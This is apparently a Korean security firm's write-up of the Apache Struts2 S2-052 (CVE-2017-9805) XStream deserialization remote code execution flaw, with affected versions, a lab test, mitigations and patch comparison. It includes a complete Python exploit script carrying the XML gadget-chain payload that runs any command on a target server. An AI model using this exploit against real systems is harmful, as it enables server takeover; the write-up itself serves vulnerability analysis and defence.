CVE-2017-9805 Apache Struts2 REST Plugin XStream Remote Code Execute(RCE)(S2-052)
취약점 분석/2009년 이후 2017. 9. 15. 10:57dkgang@a3security.com
TeamCR@K
강다경 컨설턴트 (A.K.A 따구)
1. 취약점 개요
Apache struts2에서 REST Plugin을 이용해 통신할 때 공격자가 임의의 명령어를 전송할 경우 데이터에 대해 체크 없이 deseriallize되어 서버에서 해당 명령어가 실행이 되는 RCE(Remote Code Execute)가 가능한 취약점 입니다.
2. 영향을 받는 제품 및 버전
- Apache Struts 2.1.2~2.3.33
- Apache Struts 2.5~2.5.12
3. PoC 테스트 환경
Server(victim) - 192.168.44.135
- CentOS Linux 7
- Apache Tomcat 7.0
- Apache Struts 2.3.15.1
Client(Attacker) - 192.168.44.134
- Kali Linux 4.9
4. PoC 테스트
먼저 GET에서 POST로 method를 변경한뒤,
header 에 Content-Type 을 application/xml 로,
Data에 XML payload를 삽입하여 요청패킷을 전송합니다.
이번 테스트는 서버에서 firefox가 실행되도록 명령어를 전송하였습니다.
[그림 1] payload전송 - 1
[그림 2] payload전송 - 2
서버에서 RCE(Remote Code Execute)가 발생하여 firefox가 실행되는 것을 확인하였습니다.
[그림 3] RCE로 firefox실행 확인
payload를 이용하여 다음과 같이 공격코드를 작성하였습니다.
import requests
import sys
def exploit(url, cmd):
url = url
cmd = "".join(["<string>{0}</string>".format(_) for _ in cmd.split(" ")])
payload = """
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
{0}
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
""".format(cmd)
headers = {
'Referer': str(url),
'Content-Type': 'application/xml',
'Accept': '*/*'
}
timeout = 3
try:
output = requests.post(url, data=payload, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text
except Exception as e:
print("@@EXCEPTION:" + str(e))
output = 'ERROR'
return(output)
if __name__ == '__main__':
if len(sys.argv) != 3:
print "usage:python %s <url> <cmd>"%(sys.argv[0])
sys.exit(0)
print "[*] exploit Apache Struts2 S2-052"
url = sys.argv[1]
cmd = sys.argv[2]
print "[*] URL:%s" %url
print "[*] CMD:%s" %cmd
exploit(url, cmd)
작성한 코드를 이용하여 정상적으로 Reverse Connection이 가능한 것을 확인하였습니다.
[그림 4] 공격코드를 이용해 Reverse Connection가능 확인
5. 조치 방법
- Struts 2.5.13 혹은 2.3.34 버전으로 업그레이드
- 사용하지 않는 REST 플러그인 삭제
- XML 지원 삭제
6. patche 분석
Rest Plug-in 구성을 살펴보았습니다.
[그림 5] Rest Plug-in 구성 확인
patche 전 버전과 patche 후 버전의 XstreamHandler.class를 비교해 보았습니다.
XML 문서의 데이터가 XStream desrialization을 하는 동안 방지하기 악의적인 명령이 실행되는 것을 방지 하기 위해 허용목록이 지정되어 있습니다.
[그림 6] S2-052 취약점 패치 전, 후버전의 XstreamHandler.class 비교
https://struts.apache.org/docs/s2-052.html
https://medium.com/@0x00pentester/apache-struts2-rce-cve-2017-9805-4c6f58b622cb